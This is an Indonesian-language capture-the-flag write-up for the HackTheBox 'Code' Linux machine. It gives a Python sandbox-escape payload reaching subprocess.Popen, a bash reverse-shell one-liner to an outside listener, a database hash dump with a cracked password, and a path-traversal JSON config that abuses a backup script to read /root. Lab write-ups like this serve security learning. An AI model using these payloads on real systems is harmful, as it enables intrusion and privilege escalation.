
Daftar Isi
- Informasi Umum Machine
- Enumeration
- Eksploitasi
- Privilege Escalation
- Root Flag
- Kesimpulan
- Writeup HTB Lainnya
Artikel ini membahas writeup HTB Code, sebuah tantangan dari HackTheBox dengan sistem operasi Linux dan tingkat kesulitan Easy. Eksploitasi pada machine ini mencakup teknik SSTI, reverse shell, serta privilege escalation melalui backy.sh bypass.
Informasi Umum Machine
- Nama: Code
- Platform: HackTheBox (HTB)
- IP: 10.10.11.62
- Sistem Operasi: Linux
- Tingkat Kesulitan: Easy
- Kategori: Web Exploitation, Privilege Escalation
Enumeration
Nmap Scan
nmap -sC -sV -A -p- -Pn code.htb
Terlihat port 5000 terbuka dan menjalankan layanan web berbasis Flask (Python).
Menambahkan ke /etc/hosts
10.10.11.62 code.htb
Akses Web
http://code.htb:5000
Aplikasi web terlihat memiliki input yang bisa memproses ekspresi Python. Hal ini menunjukkan kemungkinan Server-Side Template Injection (SSTI).
Eksploitasi
Menemukan Kelas `Popen` melalui SSTI
Gunakan payload berikut untuk melihat daftar class internal:
print((()).__class__.__bases__[0].__subclasses__())
Iterasi untuk menemukan subprocess.Popen:
raise Exception((()).__class__.__bases__[0].__subclasses__()[317].__name__)
Jika menemukan Popen, kita bisa eksekusi shell command.
Menyiapkan Reverse Shell
Setup Netcat listener di attacker machine:
nc -lvnp 4444
Kirimkan payload ke web:
raise Exception(str((()).__class__.__bases__[0].__subclasses__()[317](
"bash -c 'bash -i >& /dev/tcp/10.10.14.171/4444 0>&1'",
shell=True, stdout=-1).communicate()))
Jika berhasil, shell sebagai app-production akan diperoleh.
Mendapatkan User Flag
cd ..
cat user.txt
Enumerasi File Database
find / -writable -type f 2>/dev/null | grep -Ev '^/proc|^/sys'
Temukan file SQLite .db, lalu ekstrak password hash:
sqlite3 instance/database.db
.tables
SELECT * FROM USER;
Crack password Martin (hasil: nafeelswordsmaster) lalu login SSH:
ssh martin@code.htb
Privilege Escalation
Cek binary mencurigakan:
ls -l /usr/bin/backy.sh
Binary ini dapat dijalankan oleh user dan membutuhkan file JSON sebagai konfigurasi. Namun, validasi direktori backup bisa dibypass menggunakan path traversal.
Bypass Path Filter
Buat file konfigurasi:
cat > root-steal.json << EOF
{
"destination": "/home/martin/",
"multiprocessing": true,
"verbose_log": true,
"directories_to_archive": [
"/home/....//root/"
]
}
EOF
Jalankan dengan:
sudo /usr/bin/backy.sh root-steal.json
File backup akan tersimpan di /home/martin/.
Ekstrak dan Dapatkan Akses
tar -xvf code_home_.._root_*.tar.bz2
cat root/root.txt
Root Flag
Letak file:
/root/root.txt
Akses diperoleh setelah ekstraksi backup root yang dibypass via path traversal.
Secara keseluruhan, HackTheBox Code Linux Easy adalah box yang menarik untuk pemula maupun praktisi keamanan siber yang ingin belajar tentang eksploitasi aplikasi Flask, manipulasi konfigurasi JSON, dan trik backy.sh bypass yang memungkinkan akses ke direktori root.
Kesimpulan
Machine Code di HackTheBox mengajarkan pentingnya validasi path yang benar dalam aplikasi backup. Dengan memanfaatkan SSTI dan eksploitasi path traversal melalui file konfigurasi JSON, privilege escalation dapat dicapai dengan elegan. Ini adalah contoh klasik bagaimana eksploitasi kecil bisa berujung pada akses root.
Writeup HTB Code ini menunjukkan bahwa eksploitasi sederhana bisa sangat efektif. Kombinasi dari SSTI, akses ke file database, dan trik backy.sh bypass memungkinkan kita menguasai sepenuhnya mesin HackTheBox Code Linux Easy.
